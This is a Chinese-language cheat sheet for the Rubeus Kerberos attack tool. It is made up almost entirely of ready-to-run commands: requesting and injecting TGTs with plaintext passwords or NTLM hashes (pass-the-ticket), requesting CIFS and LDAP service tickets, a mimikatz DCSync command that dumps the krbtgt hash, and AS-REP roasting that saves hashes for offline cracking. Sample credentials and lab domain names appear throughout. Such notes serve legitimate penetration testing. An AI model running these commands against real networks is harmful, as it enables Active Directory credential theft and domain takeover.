Rubeus
1. 快速利用
#申请tgt并导入内存
.\Rubeus.exe asktgt /user:rosie.powell /domain:cicada.vl /password:Cicada123 /dc:10.129.200.138 /ptt
项目地址GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如
- TGT请求
- ST请求
- as-reproasting 攻击
- Kerberoasting攻击
- 委派攻击
- 黄金票据
- 白银票据等。
下面是一些常用的功能使用案例,完整的功能使用请看原项目
2. 申请TGT
Rubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中
asktgt模块有以下参数 中括号内的为可选参数
- user:USER 请求的用户名
- </password:PASSWORD [/enctype:DES|RC4|AEX128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>
- [/domain:DOMAIN] 域名
- [/dc:DOMAIN_CONTROLLER] 域控
- [outfile:FILENAME] 输出的文件
- [/ptt] 将票据导入内存中
- [/luid] 将生成的票据用于指定的登录会话(需要管理员权限)
- [/nowrap] 打印出的base64格式票据的显示格式更友好
- [/nopac] 票据中不请求PAC
如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控
2.1. 明文密码请求
Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下:
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt /outfile:ticket.kirbi
TGT导入内存后,就可以访问高权限服务了

2.2. 密码Hash请求
Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下
# 密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt
# 密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi
#完整版
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:245244f247f074475e75aba21cd3e692 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap /ptt
TGT导入内存后,即可以访问高权限服务

3. 申请ST
Rubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。
asktgs模块有以下参数:
- </ticket:Base64 | ticket:FILE.KIRBI> 票据文件
- </service:SPN1,SPN2> 请求的服务
- [/enctype:DES|RC4|AEX128|AES256] 加密类型
- [/dc:DOMAIN_CONTROLLER] 域控
- [/outfile:FILENAME] 输出的文件
- [/ptt] 将票据导入到内存中
- [/nowrap] 打印出的base64格式票据的显示格式更友好
- </tgs:BASE64 | /tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件
3.1. 请求TGT
首先使用Rubeus执行如下命令请求一张TGT
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
3.2. 请求ST
使用上一步请求的TGT即可请求指定服务的ST了
3.3. 请求CIFS的ST
# 请求范围跟owa.god.org 的CIFS的ST,并导入内存
Rubeus.exe asktgs /service:"cifs/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式

3.4. 请求LDAP的ST
Rubeus.exe asktgs /service:"ldap/owa.god.org" /nowrap /ptt/ticket:TGT 票据的base64格式
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"
没导入ST之前无法导出krbtgt用户哈希

导入ST后就可以了

4. Rubeus导入票据
Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以
4.1. 导入base64格式的票据
如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标
请求TGT不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap
使用以下命令将base64格式的票据导入内存中
Rubeus.exe ptt /ticket:上一步请求的TGT
4.2. 导入票据文件
导入Rubeus生成的票据文件
使用Rubeus生成的票据文件,并使用Rubeus导入票据文件
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /outfile:ticket.kirbi
# 导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
导入kekeo生成的票据文件
# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234
# 导入票据
Rubeus.exe ptt /ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#烘焙当前域中的所有用户
Rubeus.exe asreproast
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt
#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user
#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local
#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"